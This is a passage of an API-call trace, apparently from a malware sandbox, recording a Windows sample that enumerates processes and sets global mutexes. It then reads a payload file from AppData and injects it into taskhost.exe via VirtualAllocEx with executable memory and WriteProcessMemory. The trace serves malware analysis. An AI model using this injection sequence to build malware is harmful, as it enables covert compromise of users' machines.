th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0102.631] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0102.632] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0102.633] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0102.633] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0102.634] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0102.635] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0102.636] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0102.636] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0102.637] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0102.638] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0102.639] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0102.640] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0102.640] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0102.641] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0102.642] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0102.643] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0102.644] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0102.645] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0102.645] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0102.646] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0102.647] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.648] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0102.649] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.650] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0102.651] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0102.652] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0102.652] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0102.653] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0102.654] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.655] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0102.657] CloseHandle (hObject=0x4a4) returned 1 [0102.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c47521, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0102.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c47659, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13f8 [0102.658] WaitForMultipleObjects (nCount=0x2, lpHandles=0x2c737d0*=0x4a4, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 94 os_tid = 0x698 [0102.658] StringFromGUID2 (in: rguid=0x2d5f388*(Data1=0x85b42b0a, Data2=0x98e0, Data3=0x3f84, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x2d5fb8e, cchMax=40 | out: lpsz="{85B42B0A-98E0-3F84-65D9-FE61A0417768}") returned 39 [0102.658] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=0, lpName="Global\\{85B42B0A-98E0-3F84-65D9-FE61A0417768}") returned 0x13f0 [0102.658] WaitForSingleObject (hHandle=0x13f0, dwMilliseconds=0xffffffff) returned 0x0 [0102.658] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x1) returned 0x102 [0102.671] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0102.780] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13e0 [0102.785] Process32FirstW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0102.785] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0102.786] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0102.787] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0102.788] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0102.788] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0102.789] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0102.790] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0102.791] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0102.791] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0102.792] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.793] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.794] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.795] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.795] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.797] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0102.798] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.798] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.799] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0102.800] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.801] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0102.801] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0102.802] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13d8 [0102.802] GetLastError () returned 0x0 [0102.802] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x510) returned 0xef8 [0102.802] OpenProcessToken (in: ProcessHandle=0xef8, DesiredAccess=0x8, TokenHandle=0x2d5f810 | out: TokenHandle=0x2d5f810*=0x13cc) returned 1 [0102.802] GetTokenInformation (in: TokenHandle=0x13cc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2d5f780 | out: TokenInformation=0x0, ReturnLength=0x2d5f780) returned 0 [0102.802] GetLastError () returned 0x7a [0102.802] GetTokenInformation (in: TokenHandle=0x13cc, TokenInformationClass=0x1, TokenInformation=0x4720b00, TokenInformationLength=0x2c, ReturnLength=0x2d5f780 | out: TokenInformation=0x4720b00, ReturnLength=0x2d5f780) returned 1 [0102.802] GetTokenInformation (in: TokenHandle=0x13cc, TokenInformationClass=0xc, TokenInformation=0x2d5f924, TokenInformationLength=0x4, ReturnLength=0x2d5f80c | out: TokenInformation=0x2d5f924, ReturnLength=0x2d5f80c) returned 1 [0102.802] CloseHandle (hObject=0x13cc) returned 1 [0102.802] CloseHandle (hObject=0xef8) returned 1 [0102.802] GetLengthSid (pSid=0x4720b10*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4))) returned 0x1c [0102.802] OpenProcess (dwDesiredAccess=0x47a, bInheritHandle=0, dwProcessId=0x510) returned 0xef8 [0102.802] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77320000 [0102.802] GetProcAddress (hModule=0x77320000, lpProcName="IsWow64Process") returned 0x773291d0 [0102.802] IsWow64Process (in: hProcess=0xef8, Wow64Process=0x2d5eb64 | out: Wow64Process=0x2d5eb64) returned 1 [0102.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d5e388, cbMultiByte=14, lpWideCharStr=0x2d5e3e0, cchWideChar=50 | out: lpWideCharStr="Byheq\\hybe.ifi") returned 14 [0102.803] PathCombineW (in: pszDest=0x2d5e930, pszDir="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", pszFile="Byheq\\hybe.ifi" | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi" [0102.803] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\byheq\\hybe.ifi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13cc [0102.803] GetFileSizeEx (in: hFile=0x13cc, lpFileSize=0x2d5e428 | out: lpFileSize=0x2d5e428*=13422020) returned 1 [0102.803] VirtualAlloc (lpAddress=0x0, dwSize=0xcccdc4, flAllocationType=0x3000, flProtect=0x4) returned 0xa470000 [0102.803] ReadFile (in: hFile=0x13cc, lpBuffer=0xa470000, nNumberOfBytesToRead=0xcccdc4, lpNumberOfBytesRead=0x2d5e424, lpOverlapped=0x0 | out: lpBuffer=0xa470000*, lpNumberOfBytesRead=0x2d5e424*=0xcccdc4, lpOverlapped=0x0) returned 1 [0103.167] VirtualFree (lpAddress=0xa470000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.234] CloseHandle (hObject=0x13cc) returned 1 [0103.234] VirtualAlloc (lpAddress=0x0, dwSize=0x3c000, flAllocationType=0x3000, flProtect=0x4) returned 0x2c90000 [0103.710] VirtualAllocEx (hProcess=0xef8, lpAddress=0x0, dwSize=0x3c000, flAllocationType=0x3000, flProtect=0x40) returned 0x110000 [0103.893] WriteProcessMemory (in: hProcess=0xef8, lpBaseAddress=0x110000, lpBuffer=0x2c90000*, nSize=0x3c000, lpNumberOfBytesWritten=0x2d5e4f8 | out: lpBuffer=0x2c90000*, lpNumberOfBytesWritten=0x2d5e4f8*=0x3c000) returned 1 [0103.896] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x67c, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5eb90, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5eb90*=0x10c) returned 1 [0103.896] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xa30, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5eb88, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5eb88*=0x12c) returned 1 [0103.896] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xa44, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5eb80, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5eb80*=0xe0) returned 1 [0103.896] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x49c, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5eb78, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5eb78*=0xe4) returned 1 [0103.896] VirtualAllocEx (hProcess=0xef8, lpAddress=0x0, dwSize=0xbf4, flAllocationType=0x3000, flProtect=0x4) returned 0x150000 [0103.896] WriteProcessMemory (in: hProcess=0xef8, lpBaseAddress=0x150000, lpBuffer=0x2d5ec24*, nSize=0x4, lpNumberOfBytesWritten=0x2d5ec28 | out: lpBuffer=0x2d5ec24*, lpNumberOfBytesWritten=0x2d5ec28*=0x4) returned 1 [0103.896] WriteProcessMemory (in: hProcess=0xef8, lpBaseAddress=0x150004, lpBuffer=0x4743930*, nSize=0xbf0, lpNumberOfBytesWritten=0x2d5ec28 | out: lpBuffer=0x4743930*, lpNumberOfBytesWritten=0x2d5ec28*=0xbf0) returned 1 [0103.896] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13bc [0103.898] Thread32First (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.899] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.900] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.900] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.901] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.902] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.902] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.903] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.904] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.905] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.906] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.906] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.907] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.907] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.908] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.909] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.910] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.910] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.911] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.912] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.912] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.913] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.914] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.914] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.915] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.916] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.916] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.917] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.918] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.918] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.919] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.920] Thread32Next (hSnapshot=0x13bc, 